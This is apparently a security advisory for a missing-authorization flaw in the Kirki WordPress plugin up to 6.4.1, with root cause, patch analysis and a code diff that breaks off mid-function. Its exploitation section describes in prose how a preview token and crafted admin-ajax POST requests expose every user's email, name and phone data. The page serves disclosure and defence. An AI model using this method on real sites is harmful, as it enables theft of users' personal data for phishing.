Opens in a new tab
Published : November 17, 2026

CVE-2026-119631: Kirki <= 6.4.1 Missing Authorization to Unauthenticated Sensitive User Data Exposure via Editor-Preview-Token on AJAX 'get-dynamic-content-batch' / 'get-collection-batch' PoC, Patch Analysis & Rule

Plugin kirki
Severity Medium (CVSS 5.9)
CWE 862
Vulnerable Version 6.4.1
Patched Version 6.4.2
Disclosed November 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-119631: Kirki versions up to and including 6.4.1 expose sensitive user data through the `kirki_post_apis` AJAX action. The `get-dynamic-content-batch` and `get-collection-batch` endpoints resolve data behind the site-wide `EditorPreview::has_valid_token()` preview token without binding it to a specific page. An unauthenticated attacker holding any read-only share link can extract every user’s email, name fields, nickname, registration date, arbitrary string user_meta (such as billing_phone), and approved commenter emails. Atomic Edge assigns CVSS 5.9 (CWE-862).

Root Cause: The preview token check in `HelperFunctions::has_valid_token()` validates the token but does not scope it to a target page. The batch resolvers in `includes/Ajax/DynamicContent.php` and `includes/Ajax/Collection.php` passed user and post identifiers directly to `HelperFunctions::get_user_dynamic_content()` and `Collection::get_collection_batch()`. Neither function enforced `list_users` or `can_user_read_post()` before returning field data. `includes/Ajax/Collection.php` set `post_status => ‘any’` and returned full `get_users()` payloads for the `users` collection type without stripping email or roles. `includes/Ajax/Users.php::hide_private_fields()` only gated email and roles on `current_user_can(‘list_users’)`, which the preview-token path never satisfies but which also never runs against the batch resolver output. `FrontendRESTController::get_item_permissions_check()` did enforce `list_users` on user contexts, but that route was not the reachable surface for this issue.

Exploitation: An attacker obtains a legitimate read-only share link (any published editor preview link) and reuses the `Editor-Preview-Token` header against `/wp-admin/admin-ajax.php`. They POST `action=kirki_post_apis` with an endpoint of `get-collection-batch` and a payload requesting `collectionType=users` or `collectionType=comments`, which returns the full user table or approved commenter emails. Alternatively they POST the same action with endpoint `get-dynamic-content-batch` and a `content_info` of type `user` with arbitrary `id` values, which returns `user_email`, `first_name`, `last_name`, `nickname`, `registered_date`, and meta such as `billing_phone` for every user ID. The same payloads work for post-related content with non-public status because the resolver never called `can_user_read_post()`.

Patch Analysis: The patch adds `HelperFunctions::can_user_read_post()` and `HelperFunctions::user_has_post_edit_access()` and routes the REST controller, DynamicContent, Collection, and Users paths through them. `includes/Ajax/Collection.php` now derives `$is_read_only = !HelperFunctions::user_has_post_edit_access()`, forces `post_status => ‘publish’` for read-only viewers, strips `post_password`, and removes `comment_author_email` and `comment_agent` from read-only comment collections. `includes/Ajax/DynamicContent.php` adds a `can_user_read_post()` guard before every post/collection post read and rejects cross-user reads in the `user` case unless the caller has `list_users` or edit access. `includes/Ajax/Users.php::hide_private_fields()` now strips email and roles for anyone lacking edit access or `list_users`. `FrontendRESTController` delegates to the same helpers. The patch also hardens unrelated surfaces (`FileHandler::extract_zip_file` extension allow-list, `Template` uses `ALLOWED_TEMPLATE_EXTENSIONS`, `EmailActionHandler::sanitize_email_display_name`, `esc_attr` on preview attributes), which Atomic Edge treats as defensive hardening, not the authz fix itself.

Impact: Any holder of a read-only preview link, including unauthenticated attackers, can read the entire user table, including emails, names, nicknames, registered dates, and arbitrary string-valued user_meta such as billing_phone. They can also harvest approved commenter email addresses. This enables targeted phishing, account enumeration, marketing list theft, and follow-on credential attacks. WordPress itself withholds these fields from anonymous readers and serves them only in the `edit` context behind `list_users`. The patch closes the exposure by enforcing per-record read authorization and forcing read-only viewers to the `publish` view with private fields stripped.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/kirki/app/DTO/Page/PagePayloadDTO.php
+++ b/kirki/app/DTO/Page/PagePayloadDTO.php
@@ -11,6 +11,9 @@
     /** @var string */
     public $post_title;

+    /** @var bool|null */
+    public $auto_page_title;
+
     /** @var string */
     public $post_type;

--- a/kirki/app/FormActions/Actions/EmailActionHandler.php
+++ b/kirki/app/FormActions/Actions/EmailActionHandler.php
@@ -102,7 +102,7 @@
         }

         if (strlen($reply_to) > 0 && strlen($name) > 0) {
-            $header = ['Reply-To: ' . $name . ' <' . $reply_to . '>'];
+            $header = ['Reply-To: ' . $this->sanitize_email_display_name($name) . ' <' . $reply_to . '>'];
         }

         if (isset($email_action['emailList']) && !empty($email_action['emailList'])) {
@@ -153,6 +153,22 @@
     }

     /**
+     * Sanitize an email display name for use inside a mail header.
+     *
+     * The name may contain visitor-submitted field values, so characters that
+     * would let it forge extra addresses (<, >, ,) or break the header line
+     * (", CR, LF) are stripped before the header is composed.
+     *
+     * @param string $name The rendered display name.
+     * @return string
+     */
+    protected function sanitize_email_display_name($name)
+    {
+        $name = preg_replace('/[<>",rn]/', ' ', (string) $name);
+        return trim((string) preg_replace('/s+/', ' ', $name));
+    }
+
+    /**
      * Sanitize a comma-separated list of email addresses.
      *
      * @param string $value The configured email list value.
--- a/kirki/app/Http/Requests/Page/PageRequest.php
+++ b/kirki/app/Http/Requests/Page/PageRequest.php
@@ -27,6 +27,7 @@
     {
         return [
             'post_title' => 'required|string',
+            'auto_page_title' => 'nullable|boolean',
             'post_type' => 'required|string',
             'blocks' => 'nullable|array',
             'conditions' => 'nullable|array',
@@ -63,6 +64,7 @@
     {
         return [
             'post_title' => Sanitizer::TEXT,
+            'auto_page_title' => Sanitizer::BOOL,
             'post_type' => Sanitizer::TEXT,
             'blocks' => Sanitizer::ARRAY,
             'conditions' => Sanitizer::ARRAY,
--- a/kirki/app/Managers/GlobalDataManager.php
+++ b/kirki/app/Managers/GlobalDataManager.php
@@ -662,7 +662,6 @@
 			'defaults' => [
 				'md',
 				'tablet',
-				'mobileLandscape',
 				'mobile',
 			],
 			'list' => [
@@ -676,33 +675,24 @@
 					'activeIcon' => 'desktop-hover',
 				],
 				'tablet' => [
-					'value'      => 991,
+					'value'      => 1199,
 					'scale'      => 1,
-					'minWidth'   => 991,
-					'maxWidth'   => 991,
+					'minWidth'   => 1199,
+					'maxWidth'   => 1199,
 					'title'      => 'Tablet',
 					'icon'       => 'tablet-default',
 					'activeIcon' => 'tablet-hover',
 				],
-				'mobileLandscape' => [
+				'mobile' => [
 					'value'      => 767,
 					'scale'      => 1,
 					'minWidth'   => 767,
 					'maxWidth'   => 767,
-					'title'      => 'Landscape',
-					'icon'       => 'phone-hr-default',
-					'activeIcon' => 'phone-hr-hover',
-				],
-				'mobile' => [
-					'value'      => 575,
-					'scale'      => 1,
-					'minWidth'   => 575,
-					'maxWidth'   => 575,
-					'title'      => 'Mobile',
+					'title'      => 'Phone',
 					'icon'       => 'phone-vr-default',
 					'activeIcon' => 'phone-vr-hover',
 				],
 			],
 		];
 	}
-}
 No newline at end of file
+}
--- a/kirki/app/Services/PageService.php
+++ b/kirki/app/Services/PageService.php
@@ -20,6 +20,7 @@
 use KirkiAppSupportsFacadesGlobalData;
 use KirkiAppSupportsFacadesPage;
 use KirkiAppSupportsTemplate;
+use KirkiFrameworkDatabaseQueryExpression;
 use KirkiFrameworkDatabaseQueryPaginator;
 use KirkiFrameworkDatabaseQueryQueryBuilder;
 use KirkiFrameworkHttpResponse;
@@ -29,6 +30,18 @@

 class PageService
 {
+	/** Get the next number from page titles, excluding deleted pages. */
+	private function next_page_title(string $post_type): string
+	{
+		$highest = (int) PageModel::query()
+			->where('post_type', $post_type)
+			->where_not_in('post_status', ['trash', 'auto-draft'])
+			->where('post_title', 'regexp', '^Page [0-9]+$')
+			->max(new Expression('CAST(SUBSTRING(post_title, 6) AS UNSIGNED)'));
+
+		return 'Page ' . ($highest + 1);
+	}
+
 	/**
 	 * Create a new page.
 	 *
@@ -45,6 +58,11 @@
 			'post_type' => $payload->post_type === PostTypes::PAGE ? PostTypes::WP_PAGE : $payload->post_type,
 		];

+		if (!empty($payload->auto_page_title)) {
+			$page_data['post_title'] = $this->next_page_title($page_data['post_type']);
+			$page_data['post_name'] = $page_data['post_title'];
+		}
+
 		$page = PageModel::create_post($page_data);

 		if (!empty($payload->blocks)) {
@@ -217,7 +235,7 @@
 					$controller_data = [
 						'viewport' => [
 							'active' => 'md',
-							'defaults'=> ["md", "tablet", "mobileLandscape", "mobile"],
+							'defaults'=> ["md", "tablet", "mobile"],
 							'list' => $page_data['viewportList'],
 							'mdWidth' => 1200,
 							"scale" => 1,
@@ -227,7 +245,10 @@
 					];
 				}

-				$controller_data['viewport']['list'] = $page_data['viewportList'];
+				$controller_data['viewport']['list'] = (object) array_merge(
+					(array) ($controller_data['viewport']['list'] ?? []),
+					(array) $page_data['viewportList']
+				);

 				GlobalData::update_global_ui_controller($controller_data);
 				break;
--- a/kirki/app/Supports/FileHandler.php
+++ b/kirki/app/Supports/FileHandler.php
@@ -85,10 +85,15 @@


 	/**
+	 * @param string      $zip_file_path
+	 * @param string      $destination_dir
+	 * @param array|null  $allowed_extensions When provided, every extracted
+	 *                                        member must be a directory or
+	 *                                        carry one of these extensions.
 	 * @return array|false
 	 * return false on failure
 	 */
-	public static function extract_zip_file(string $zip_file_path, string $destination_dir)
+	public static function extract_zip_file(string $zip_file_path, string $destination_dir, ?array $allowed_extensions = null)
 	{
 		if (!class_exists('PclZip')) {
 			require_once ABSPATH . 'wp-admin/includes/class-pclzip.php';
@@ -106,7 +111,7 @@

 		$zip = new PclZip($zip_file_path);

-		static::validate_zip_file($zip);
+		static::validate_zip_file($zip, $allowed_extensions);

 		$result = $zip->extract(
 			PCLZIP_OPT_PATH,
@@ -120,7 +125,7 @@
 		return false;
 	}

-	public static function validate_zip_file(PclZip $zip)
+	public static function validate_zip_file(PclZip $zip, ?array $allowed_extensions = null)
 	{
 		$list = $zip->listContent();

@@ -133,11 +138,11 @@
 				throw new Exception(esc_html__('Invalid ZIP file.', 'kirki'));
 			}

-			static::validate_zip_entry($entry['filename']);
+			static::validate_zip_entry($entry['filename'], $allowed_extensions);
 		}
 	}

-	private static function validate_zip_entry(string $entry_filename)
+	private static function validate_zip_entry(string $entry_filename, ?array $allowed_extensions = null)
 	{
 		$entry_filename = clean_path($entry_filename, false);

@@ -150,7 +155,18 @@
 			throw new Exception(esc_html__('Invalid ZIP file.', 'kirki'));
 		}

-		return static::verify_directory_traversal($entry_filename);
+		static::verify_directory_traversal($entry_filename);
+
+		// Directory entries end with '/' and carry no extension.
+		if ($allowed_extensions !== null && !str_ends_with($entry_filename, '/')) {
+			$extension = strtolower((string) pathinfo($entry_filename, PATHINFO_EXTENSION));
+
+			if (!in_array($extension, $allowed_extensions, true)) {
+				throw new Exception(esc_html__('Invalid file type in ZIP archive.', 'kirki'));
+			}
+		}
+
+		return true;
 	}

 	Public static function verify_directory_traversal(string $path) {
--- a/kirki/app/Supports/Template.php
+++ b/kirki/app/Supports/Template.php
@@ -20,6 +20,17 @@
 class Template
 {
 	/**
+	 * Extensions permitted inside a remote template ZIP. Mirrors the set the
+	 * exporter writes (ExportImport::get_assets_make_zip) — anything else,
+	 * including executable/script types, is rejected before extraction.
+	 */
+	const ALLOWED_TEMPLATE_EXTENSIONS = [
+		'jpg', 'jpeg', 'png', 'webp', 'gif', 'avif',
+		'mp4', 'mov', 'webm', 'mp3',
+		'json', 'lottie',
+	];
+
+	/**
 	 * @param string|string[] $name
 	 * @param string|null     $prefix
 	 *
@@ -87,17 +98,17 @@
 		$file_name_new = uniqid('', true) . '.zip'; // 'random.ext'
 		$zip_file_path = FileHandler::download_zip_from_remote($remote_url, $file_name_new);

-		if ($zip_file_path) {
-			$json_data = static::save_kirki_template_from_zip($page_id, $zip_file_path);
-
-			if (!empty($json_data)) {
-				// delete zip file
-				File::delete($zip_file_path);
-				return true;
-			}
+		if (!$zip_file_path) {
+			return false;
 		}

-		return false;
+		try {
+			$json_data = static::save_kirki_template_from_zip($page_id, $zip_file_path);
+			return !empty($json_data);
+		} finally {
+			// delete zip file
+			File::delete($zip_file_path);
+		}
 	}

 	/**
@@ -184,31 +195,32 @@
 	{
 		$temp_folder_path = FileHandler::get_temp_folder_path();

-		$result = FileHandler::extract_zip_file($zip_path, $temp_folder_path);
+		try {
+			$result = FileHandler::extract_zip_file($zip_path, $temp_folder_path, static::ALLOWED_TEMPLATE_EXTENSIONS);

-		if ($result === false) {
-			File::delete($temp_folder_path);
-			return false;
-		}
-
-		$kirki_json_file = $temp_folder_path . '/kirki-data.json';
+			if ($result === false) {
+				return false;
+			}

-		if (File::missing($kirki_json_file)) {
-			File::delete($temp_folder_path);
+			$kirki_json_file = $temp_folder_path . '/kirki-data.json';

-			return false;
-		}
+			// is_file() — a directory named kirki-data.json must not satisfy this check.
+			if (!File::is_file($kirki_json_file)) {
+				return false;
+			}

-		$kirki_json_data = File::get($kirki_json_file);
+			$kirki_json_data = File::get($kirki_json_file);

-		// delete temp folder
-		File::delete($temp_folder_path);
+			if (empty($kirki_json_data)) {
+				return false;
+			}

-		if (empty($kirki_json_data)) {
-			return false;
+			return $kirki_json_data;
+		} finally {
+			// delete temp folder unconditionally — extracted files must never
+			// outlive this call, even when reading the JSON throws.
+			File::delete($temp_folder_path);
 		}
-
-		return $kirki_json_data;
 	}

 	/**
--- a/kirki/includes/API/Frontend/Controllers/FrontendRESTController.php
+++ b/kirki/includes/API/Frontend/Controllers/FrontendRESTController.php
@@ -12,6 +12,7 @@
 }
 use WP_Error;
 use WP_REST_Controller;
+use KirkiHelperFunctions;


 /**
@@ -56,11 +57,11 @@

 			$context_type = $context['type'];

-			// For user contexts, require list_users capability.
 			if ( 'user' === $context_type ) {
 				$target_user_id = absint( $context['id'] ?? 0 );
-				// Allow access only if the requester is querying their own record OR list_users capability
-				if ( $target_user_id !== get_current_user_id() && ! current_user_can( 'list_users' ) ) {
+				// Allowed: own record, list_users, or a public author (has published posts, so their
+				// author archive page already renders the same published template for anyone).
+				if ( $target_user_id !== get_current_user_id() && !HelperFunctions::user_has_post_edit_access()) {
 					return new WP_Error(
 						'rest_forbidden',
 						'You do not have permission to read this user.',
@@ -163,22 +164,6 @@
 	 * @return bool
 	 */
 	protected function can_user_read_post( int $post_id ): bool {
-		$post = get_post( $post_id );
-
-		if ( ! $post ) {
-			return false;
-		}
-
-		$is_password_protected = !empty( $post->post_password );
-
-		if ( 'publish' === $post->post_status && ! $is_password_protected ) {
-			return true;
-		}
-
-		if ( 'publish' === $post->post_status && $is_password_protected ) {
-			return ! post_password_required( $post ) || current_user_can( 'read_post', $post_id );
-		}
-
-		return current_user_can( 'read_post', $post_id );
+		return HelperFunctions::can_user_read_post( $post_id );
 	}
 }
 No newline at end of file
--- a/kirki/includes/Ajax.php
+++ b/kirki/includes/Ajax.php
@@ -597,7 +597,8 @@

 		if ($endpoint === 'get-page-custom-section') {
 			$type = HelperFunctions::sanitize_text(isset($_GET['type']) ? $_GET['type'] : '');
-			wp_send_json(HelperFunctions::get_page_custom_section($type, true));
+			$query_mode = HelperFunctions::sanitize_text(isset($_GET['query_mode']) ? $_GET['query_mode'] : 'media');
+			wp_send_json(HelperFunctions::get_page_custom_section($type, true, $query_mode));
 		}

 		/**
--- a/kirki/includes/Ajax/Collection.php
+++ b/kirki/includes/Ajax/Collection.php
@@ -103,13 +103,16 @@
 			$context = $context_param;
 		}

+		// Read-only viewers (preview-token link, view access) get only what the public site shows.
+		$is_read_only = ! HelperFunctions::user_has_post_edit_access();
+
 		$args = array(
 			'name'                => $name,
 			'sorting'             => $sorting,
 			'filters'             => $filters,
 			'inherit'             => $inherit,
 			'post_parent'         => $post_parent,
-			'post_status'         => 'any',
+			'post_status'         => $is_read_only ? 'publish' : 'any',
 			'related'             => $related,
 			'related_post_parent' => $related_post_parent,
 			'item_per_page'       => $item_per_page,
@@ -120,7 +123,13 @@
 		);

 		if ( $collection_type === 'posts' ) {
-			return HelperFunctions::get_posts( $args );
+			$posts = HelperFunctions::get_posts( $args );
+			if ( $is_read_only && ! empty( $posts['data'] ) ) {
+				foreach ( $posts['data'] as $post ) {
+					unset( $post->post_password );
+				}
+			}
+			return $posts;
 		} elseif ( $collection_type === 'users' ) {
 			return Users::hide_private_fields( Users::get_users( $args ) );
 		} elseif ( $collection_type === 'terms' ) {
@@ -135,7 +144,13 @@
 			);
 			return HelperFunctions::get_terms( $args );
 		} else {
-			return apply_filters( 'kirki_collection_' . $collection_type, false, $args );
+			$collection = apply_filters( 'kirki_collection_' . $collection_type, false, $args );
+			if ( $is_read_only && $collection_type === 'comments' && ! empty( $collection['data'] ) ) {
+				foreach ( $collection['data'] as $index => $comment ) {
+					unset( $collection['data'][ $index ]['comment_author_email'], $collection['data'][ $index ]['comment_agent'] );
+				}
+			}
+			return $collection;
 		}
 	}

--- a/kirki/includes/Ajax/DynamicContent.php
+++ b/kirki/includes/Ajax/DynamicContent.php
@@ -80,6 +80,9 @@
 				} elseif ( isset( $content_info['collectionItem'], $content_info['collectionItem']['ID'] ) ) {
 					$post = get_post( $content_info['collectionItem']['ID'] );
 				}
+				if ( $post && ! HelperFunctions::can_user_read_post( $post->ID ) ) {
+					return '';
+				}
 				$dynamic_options = array();
 				if ( $cm_field_type === 'time' || $content_value === 'post_time' ) {
 					$dynamic_options['timeFormat'] = $time_format;
@@ -97,13 +100,29 @@
 				} elseif ( isset( $content_info['collectionItem'], $content_info['collectionItem']['ID'] ) ) {
 					$post = get_post( $content_info['collectionItem']['ID'] );
 				}
+				if ( $post && ! HelperFunctions::can_user_read_post( $post->ID ) ) {
+					return '';
+				}
 				return HelperFunctions::get_post_dynamic_content( $content_value, $post );
 			}

 			case 'user': {
 				$user_id = ! empty( $post_id ) ? $post_id : get_current_user_id();
 				if ( isset( $content_info['collectionItem'], $content_info['collectionItem']['ID'] ) ) {
-					$user_id = $content_info['collectionItem']['ID'];
+					// Collection item ID: a user ID in a users collection, a post ID in a posts collection.
+					$collection_item_id = $content_info['collectionItem']['ID'];
+					if ( isset( $content_info['collectionItem']['post_type'] ) ) {
+						// Posts collection item: "User" means the item's author (matches the frontend).
+						$collection_item_post = get_post( $collection_item_id );
+						$user_id              = $collection_item_post ? (int) $collection_item_post->post_author : 0;
+					} else {
+						$user_id = $collection_item_id;
+					}
+				}
+				// Builder users need every user field to design; read-only viewers (preview token)
+				// only get their own record.
+				if ( (int) $user_id !== get_current_user_id() && ! HelperFunctions::user_has_post_edit_access() && ! current_user_can( 'list_users' ) ) {
+					return '';
 				}
 				$dynamic_options = array();
 				if ( $content_value === 'registered_date' ) {
--- a/kirki/includes/Ajax/Symbol.php
+++ b/kirki/includes/Ajax/Symbol.php
@@ -158,10 +158,14 @@
 		$component_field_values = isset( $_POST['componentFieldValues'] ) ? $_POST['componentFieldValues'] : null;
 		$collection_item        = isset( $_POST['collectionItem'] ) ? $_POST['collectionItem'] : null;
 		$variable_css           = isset( $_POST['variableCSS'] ) ? $_POST['variableCSS'] : true;
+		$query_mode             = isset( $_POST['query_mode'] ) && 'container' === HelperFunctions::sanitize_text( $_POST['query_mode'] )
+			? 'container'
+			: 'media';
 		$options                = $collection_item && 'false' !== $collection_item
 			? json_decode( stripslashes( $collection_item ), true )
 			: array();
 		$options                = is_array( $options ) ? $options : array();
+		$options['query_mode']  = $query_mode;
 		foreach ( $options as $key => $value ) {
 			if ( is_array( $value ) && $key !== 'user' ) {
 				$options[ $key ] = json_decode( json_encode( $value ) );
--- a/kirki/includes/Ajax/Users.php
+++ b/kirki/includes/Ajax/Users.php
@@ -51,14 +51,15 @@
 	}

 	/**
-	 * Remove email and roles from a get_users() result unless the current user can list users.
+	 * Remove email and roles from a get_users() result unless the current user can edit Kirki
+	 * content (needed to design user collections) or list users.
 	 * These ajax responses reach any Kirki user (and the editor preview token).
 	 *
 	 * @param array $users get_users() result with 'data' and 'pagination'.
 	 * @return array
 	 */
 	public static function hide_private_fields( $users ) {
-		if ( current_user_can( 'list_users' ) || empty( $users['data'] ) ) {
+		if ( HelperFunctions::user_has_post_edit_access() || current_user_can( 'list_users' ) || empty( $users['data'] ) ) {
 			return $users;
 		}

--- a/kirki/includes/ExportImport/TemplateExport.php
+++ b/kirki/includes/ExportImport/TemplateExport.php
@@ -488,6 +488,7 @@
 			$single_data = array();
 			$single_data['exportId'] = $template_data['exportId'];
 			$single_data['batch_id'] = $template_data['batch_id'];
+			$single_data['viewPorts'] = $template_data['viewPorts'];

 			$template_info = array(
 				'symbols' => $this->count($template_data['symbols']),
--- a/kirki/includes/ExportImport/TemplateImport.php
+++ b/kirki/includes/ExportImport/TemplateImport.php
@@ -672,6 +672,7 @@
 		if ( ! isset( $new_view_ports['list'] ) ) {
 			$new_view_ports['list'] = array();
 		}
+
 		if ( ! isset( $control['viewport'], $control['viewport']['list'] ) ) {
 			$control['viewport'] = $new_view_ports;
 		} else {
--- a/kirki/includes/Frontend/Preview/Preview.php
+++ b/kirki/includes/Frontend/Preview/Preview.php
@@ -87,6 +87,12 @@
 	 * $view_ports user all viewports data.
 	 */
 	private $view_ports = array();
+	/**
+	 * Responsive query type used by generated styles.
+	 *
+	 * @var string
+	 */
+	private static $query_mode = 'media';

 	/**
 	 * Initialize some variables for element related data. Like: custom codes, lightbox, map, slider etc.
@@ -263,7 +269,7 @@
 	/**
 	 * List of anchor elements.
 	 */
-	private $prevent_anchor_elements = array( 'heading', 'image', 'paragraph' );
+	private $prevent_anchor_elements = array( 'heading', 'image', 'paragraph', 'text' );
 	/**
 	 * List anchor attrs.
 	 */
@@ -302,6 +308,7 @@
 	 */
 	public function getHTML( $options = array() ) {
 		$this->include_component_field_metadata = ! empty( $options['include_component_field_metadata'] );
+		self::$query_mode = isset( $options['query_mode'] ) && 'container' === $options['query_mode'] ? 'container' : 'media';
 		// TODO: need to fix this code
 		// if(!isset($options['user']) && get_current_user_id() > 0){
 		// $options['user'] = Users::get_user_by_id(get_current_user_id());
@@ -713,7 +720,7 @@
 			if ( $variant[0] === 'md' ) {
 				$css_string .= $selector . '{' . $css_text . '}';
 			} elseif ( isset( $this->view_ports[ $variant[0] ] ) ) {
-				$css_string .= '@media only screen and (' . $type . '-width: ' . $this->view_ports[ $variant[0] ][ $type . 'Width' ] . 'px) {' . $selector . '{' . $css_text . '}}';
+				$css_string .= $this->wrapResponsiveCss( $type . '-width: ' . $this->view_ports[ $variant[0] ][ $type . 'Width' ] . 'px', $selector . '{' . $css_text . '}' );
 			}
 		} elseif ( count( $variant ) === 2 ) {
 			// active, hover, focus or pseudo class.
@@ -721,9 +728,7 @@
 			if ( $variant[0] === 'md' ) {
 				$css_string .= $selector . $psuedo_class . '{' . $css_text . '}';
 			} elseif ( isset( $this->view_ports[ $variant[0] ] ) ) {
-				$css_string .= '@media only screen and (' . $type . '-width: ' . $this->view_ports[ $variant[0] ][ $type . 'Width' ] . 'px) {';
-				$css_string .= $selector . $psuedo_class . '{' . $css_text . '}';
-				$css_string .= '}';
+				$css_string .= $this->wrapResponsiveCss( $type . '-width: ' . $this->view_ports[ $variant[0] ][ $type . 'Width' ] . 'px', $selector . $psuedo_class . '{' . $css_text . '}' );
 			}
 		} elseif ( count( $variant ) === 3 ) {
 			// active, hover, focus + pseudo class.
@@ -733,14 +738,20 @@
 			if ( $variant[0] === 'md' ) {
 				$css_string .= $selector . $psuedo_class1 . $psuedo_class2 . '{' . $css_text . '}';
 			} elseif ( isset( $this->view_ports[ $variant[0] ] ) ) {
-				$css_string .= '@media only screen and (' . $type . '-width: ' . $this->view_ports[ $variant[0] ][ $type . 'Width' ] . 'px) {';
-				$css_string .= $selector . $psuedo_class1 . $psuedo_class2 . '{' . $css_text . '}';
-				$css_string .= '}';
+				$css_string .= $this->wrapResponsiveCss( $type . '-width: ' . $this->view_ports[ $variant[0] ][ $type . 'Width' ] . 'px', $selector . $psuedo_class1 . $psuedo_class2 . '{' . $css_text . '}' );
 			}
 		}
 		return $css_string;
 	}

+	private static function wrapResponsiveCss( $condition, $css ) {
+		if ( 'container' === self::$query_mode ) {
+			return '@container kirki-device-canvas (' . $condition . '){' . $css . '}';
+		}
+
+		return '@media only screen and (' . $condition . '){' . $css . '}';
+	}
+
 	/**
 	 * Get the script tag string
 	 *
@@ -1040,7 +1051,7 @@

 			$media_type = ( isset( $vp['type'] ) && $vp['type'] === 'max' ) ? 'max' : 'min';
 			$media_value = isset( $vp['value'] ) ? $vp['value'] : $vp[ $media_type . 'Width' ];
-			$css .= '@media only screen and (' . $media_type . '-width:' . $media_value . 'px){' . $device_rules[ $device ] . '}';
+			$css .= self::wrapResponsiveCss( $media_type . '-width:' . $media_value . 'px', $device_rules[ $device ] );
 		}

 		return $css;
@@ -1514,6 +1525,8 @@

 		foreach ( $viewPorts as $key => $vp ) {
 			if ( in_array( $key, $deviceList ) ) {
+				$range_min = null !== $prev_viewport ? $prev_viewport['value'] + 1 : $vp['value'];
+
 				if ( $count === 0 && $vp['value'] < 1200 ) {
 					$ranges[] = array(
 						'min' => null,
@@ -1521,7 +1534,7 @@
 					);
 				} elseif ( $vp['value'] < 1200 ) {
 					$ranges[] = array(
-						'min' => $prev_viewport['value'] + 1,
+						'min' => $range_min,
 						'max' => $vp['value'],
 					);
 				} elseif ( $count === count( $viewPorts ) - 1 && $vp['value'] > 1200 ) {
@@ -1531,7 +1544,7 @@
 					);
 				} elseif ( $vp['value'] > 1200 ) {
 					$ranges[] = array(
-						'min' => $prev_viewport['value'] + 1,
+						'min' => $range_min,
 						'max' => $vp['value'],
 					);
 				} else {
@@ -1539,14 +1552,14 @@
 					if ( $count === count( $viewPorts ) - 1 ) {
 						// thats means: no md upper device like: 1600
 						$ranges[] = array(
-							'min' => $prev_viewport['value'] + 1,
+							'min' => $range_min,
 							'max' => null,
 						);
 					} else {
 						// next viewport
 						$next_viewport = $viewPorts[ $orderedKeys[ $count + 1 ] ];
 						$ranges[]      = array(
-							'min' => $prev_viewport['value'] + 1,
+							'min' => $range_min,
 							'max' => $next_viewport['value'] - 1,
 						);
 					}
@@ -1559,11 +1572,11 @@
 			$min = $value['min'];
 			$max = $value['max'];
 			if ( $min !== null && $max !== null ) {
-				$media_queries .= "@media (min-width: {$min}px) and (max-width: {$max}px) { $cssValue } ";
+				$media_queries .= $this->wrapResponsiveCss( "min-width: {$min}px) and (max-width: {$max}px", $cssValue );
 			} elseif ( $min !== null ) {
-				$media_queries .= "@media (min-width: {$min}px) { $cssValue } ";
+				$media_queries .= $this->wrapResponsiveCss( "min-width: {$min}px", $cssValue );
 			} elseif ( $max !== null ) {
-				$media_queries .= "@media (max-width: {$max}px) { $cssValue } ";
+				$media_queries .= $this->wrapResponsiveCss( "max-width: {$max}px", $cssValue );
 			}
 		}

@@ -2362,6 +2375,7 @@
 			case 'link-text':
 			case 'navigation-item':
 			case 'paragraph':
+			case 'text':
 			case 'heading':
 			case 'button': {
 				if ( $dynamic_content ) {
@@ -2638,7 +2652,7 @@
 						$value = implode( ' ', $value );
 					}

-					return $key . '="' . $value . '"';
+					return esc_attr( $key ) . '="' . esc_attr( (string) $value ) . '"';
 				},
 				array_values( $attributes ),
 				array_keys( $attributes )
@@ -2653,7 +2667,7 @@
 			$attributes        = $this_element['properties']['customAttributes'] ?: array();
 			$custom_attributes = array_map(
 				function ( $value, $key ) {
-					return $key . '="' . $value . '"';
+					return esc_attr( $key ) . '="' . esc_attr( (string) $value ) . '"';
 				},
 				array_values( $attributes ),
 				array_keys( $attributes )
--- a/kirki/includes/Frontend/Preview/Utils.php
+++ b/kirki/includes/Frontend/Preview/Utils.php
@@ -463,9 +463,15 @@
 			$html .= $options['term'][ $dynamic_content['value'] ];
 		} elseif ( $dynamic_content['type'] === 'user' ) {
 			// $html .= $options['user'][ $dynamic_content['value'] ];
+			$user_id = $options['user']['ID'] ?? null;
+			// Inside a posts collection item, "User" means the item's author (not the viewer).
+			if ( ! $user_id && isset( $options['itemType'], $options['post']->ID ) && $options['itemType'] === 'post' ) {
+				$collection_item_post = get_post( $options['post']->ID );
+				$user_id              = $collection_item_post ? (int) $collection_item_post->post_author : null;
+			}
 			$content = HelperFunctions::get_user_dynamic_content(
 				$dynamic_content['value'],
-				$options['user']['ID'] ?? null,
+				$user_id,
 				$dynamic_content['meta'] ?? ''
 			);

--- a/kirki/includes/Frontend/views/editor.php
+++ b/kirki/includes/Frontend/views/editor.php
@@ -32,7 +32,6 @@
 		<div id="kirki-top-bar"></div>
 		<div id="kirki-left-bar"></div>
 		<div id="kirki-content-bar">
-			<div id="kirki-responsive-devices"></div>
 			<div id="kirki-front-overlay"></div>
 			<div id="kirki-class-editing-backdrop"></div>
 		</div>
@@ -105,4 +104,4 @@
 	<?php wp_footer(); ?>
 </body>

-</html>
 No newline at end of file
+</html>
--- a/kirki/includes/HelperFunctions.php
+++ b/kirki/includes/HelperFunctions.php
@@ -247,7 +247,7 @@
 			if (!$controller_data) {
 				$init = array(
 					'active' => 'md',
-					'defaults' => ["md", "tablet", "mobileLandscape", "mobile"],
+					'defaults' => ["md", "tablet", "mobile"],
 					'list' => $page_data['viewportList'],
 					'mdWidth' => 1200,
 					"scale" => 1,
@@ -255,8 +255,11 @@
 					"zoom" => 1
 				);
 				$controller_data = array('viewport' => $init);
-			} else if (isset($controller_data['viewport'], $controller_data['viewport']['list'])) {
-				$controller_data['viewport']['list'] = $page_data['viewportList'];
+			} else if (isset($controller_data['viewport'])) {
+				$controller_data['viewport']['list'] = (object) array_merge(
+					(array) ($controller_data['viewport']['list'] ?? array()),
+					(array) $page_data['viewportList']
+				);
 			}

 			HelperFunctions::update_global_data_using_key(KIRKI_USER_CONTROLLER_META_KEY, $controller_data);
@@ -3357,6 +3360,27 @@
 		return false;
 	}

+	/**
+	 * Check if the current user may read a post (published & not password-locked, or read_post capability).
+	 *
+	 * @param int $post_id post id.
+	 * @return bool
+	 */
+	public static function can_user_read_post($post_id)
+	{
+		$post = get_post($post_id);
+
+		if (!$post) {
+			return false;
+		}
+
+		if ('publish' === $post->post_status) {
+			return !post_password_required($post) || current_user_can('read_post', $post->ID);
+		}
+
